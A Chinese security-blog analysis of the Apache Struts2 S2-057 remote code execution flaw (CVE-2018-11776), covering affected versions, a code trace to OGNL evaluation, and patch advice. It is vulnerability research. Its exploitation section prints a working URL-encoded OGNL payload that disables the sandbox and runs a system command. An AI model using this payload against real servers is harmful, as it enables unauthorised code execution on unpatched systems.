struts 2
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
关于Apache Struts2 S2-057远程代码执行漏洞分析 alphalab专栏作者2018-08-28共132701人围观 ,发现 5 个不明物体 漏洞
前言
Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。
天融信阿尔法实验室将为你带来Apache Struts2 S2-057远程代码执行漏洞分析~
一、 漏洞描述
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。
1. 受影响的系统版本
Apache Struts 2.3 – Struts 2.3.34
Apache Struts 2.5 – Struts 2.5.16
2. 漏洞编号
CVE-2018-11776
二、环境搭建
1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 修改配置文件struts-actionchaining.xml
该漏洞有多种攻击向量包括:
Redirect action
Action chaining
Postback result
以第一种为例子,修改配置文件内容为:
修改配置文件内容
三、漏洞细节
在DefaultActionMapper这个类的parseNameAndNamespace方法里。
parseNameAndNamespace方法
当alwaysSelectFullNamespace被设置为true时,namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
Action执行结束之后,程序会调用ServletActionRedirectResult类中的execute()方法进行重定向Result的解析。
进行重定向Result的解析
首先,当namespace为空时,调用invocation.getProxy().getNamespace()赋值给变量namespace,然后将变量namespace传入ActionMapping构造函数中。
传入ActionMapping构造函数
然后,ActionMapper.getUriFromActionMapping()对ActionMapping后的值进行重组,生成一个URL字符串(包含namespace),并赋值给了tmplocation变量。
赋值给了tmplocation
紧接着将带有namespace的tmplocation传入了setLocation()方法中。
传入了setLocation()方法
该方法将tmpLocation值赋值给了StrutsResultSupport类中的location变量。
然后,跟踪super.execute()方法。
跟踪super.execute()方法
继续跟踪ServletActionResult类中的super.execute()。
跟踪ServletActionResult类中的super.execute
在StrutsResultSupport类中的execute()方法中,刚刚被赋值的location变量(带有namespace的)被传入了conditionalParse()方法。
传入了conditionalParse()方法
最终,通过TextParseUtil.translateVariables()对namespace进行OGNL解析,导致远程代码执行漏洞。
四、漏洞利用
1. 访问url 为/${(111+111)}/actionChain1.action的地址。
访问url 为/${(111+111)}/actionChain1.action
访问触发OGNL表达式,url变为/222/register2.action,漏洞存在。
2. payload:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
此payload 仅适用于2.3系列版本。
payload
五、修复建议
1. 官方补丁
目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。
2. 手工修复
修改配置文件:
固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
*本文作者:alphalab,转载请注明来自FreeBuf.COM
alphalab
alphalab
16 篇文章
等级: 5级
||
上一篇:Struts2-057 两个版本RCE漏洞分析(含EXP)下一篇:CVE-2018-8414:SettingContent-ms文件任意代码执行漏洞及在野攻击分析
发表评论已有 5 条评论
西门吹牛 2018-08-28回复 1楼
漏洞之王啊
亮了(0)
Haiunste (1级) 2018-08-28回复 2楼
我不用了还不行吗
亮了(0)
梅子酒m3i 2018-08-28回复 3楼
打个广告 2.5.16 payload: https://otakekumi.github.io/2018/08/25/S2-057-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E3%80%81%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90%E5%8F%8AEXP%E6%9E%84%E9%80%A0/
亮了(0)
太慢了 2018-08-28回复 4楼
启明星辰ADLab早就分析预警了
亮了(1)
米若明 (1级) 2018-08-29回复 5楼
这次的问题根本不严重
条件太苛刻了, namespace 都 通配符的几率不高
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
alphalab
alphalab专栏作者
天融信攻防研究中心(阿尔法实验室)隶属于北京天融信科技有限公司,研究中心职责为最新安全技术研究、安全产品技术支持及对外项目服务等
16
文章数
7
评论数
最近文章
Linux下的Rootkit驻留技术分析
2018.11.07
Linux下的Rootkit驻留技术分析
2018.10.31
ThinkPHP 5.1.x SQL注入漏洞分析
2018.10.01
浏览更多
相关阅读
BUF早餐铺 | 苹果将为执法机构提供数据提取工具;隐匿者病毒团伙技术升级传播病毒;思科修复多个安全漏洞CNNVD关于Apache Struts2(S2-048)漏洞情况的通报Apache Struts2高危漏洞致企业服务器被入侵安装KoiMiner挖矿木马CVE-2018-11776:如何通过Semmle QL找到Apache Struts的远程执行代码漏洞关于Apache Struts2 S2-057远程代码执行漏洞分析
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论